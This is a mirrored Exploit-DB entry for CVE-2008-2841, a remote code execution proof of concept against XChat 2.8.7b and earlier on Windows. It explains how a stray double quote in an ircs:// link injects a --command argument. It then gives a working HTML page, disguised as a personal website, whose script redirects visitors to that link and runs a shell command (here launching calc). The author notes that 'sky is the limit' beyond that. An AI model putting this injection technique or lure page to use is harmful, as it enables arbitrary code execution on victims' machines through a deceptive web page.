- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 5795
- Проверка EDB
-
- Пройдено
- Автор
- SECURFROG
- Тип уязвимости
- REMOTE
- Платформа
- WINDOWS
- CVE
- cve-2008-2841
- Дата публикации
- 2008-06-13
HTML:
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#
# Xchat <= 2.8.7b Remote Code Execution (tested on Windows XP SP1+SP2+SP3, IE6 & IE7 fully patched)
# Vendor : http://xchat.org/
# Affected Os : Windows *
# Risk : critical
#
# This bug is related to the URI Handler vulnerability but the approch is a bit different.
# We don't use any % or ../../../ as the others related bugs, just a single "
# According to the registry , when the IRCS:// URI is called , the command launched is :
# C:\Program Files\xchat\xchat.exe --existing --url="%1"
#
# The xchat --help option tells us :
# " --command=COMMAND :Send a command to existing xchat "
#
# So we add a simple " at the end of the URL and we're in business ?
# Yep =) ircs://[email protected]" --command "shell calc"
#
# Note: The victim needs to be connected to an irc server , and also need IE * .
#
#
#
# Greetz: French/Quebec community, http://spiritofhack.net/
#
# "If in times like theses you can talk about individual freedoom, you're propably a terrorist"
#
# Poc: this only launch the calc, sky is the limit passed this point.
<html>
<head><title>Welcome to my personal website</title></head>
<body>
<script>document.location='ircs://[email protected]" --command "shell calc"'</script>
</body>
</html>
# milw0rm.com [2008-06-13]- Источник
- www.exploit-db.com
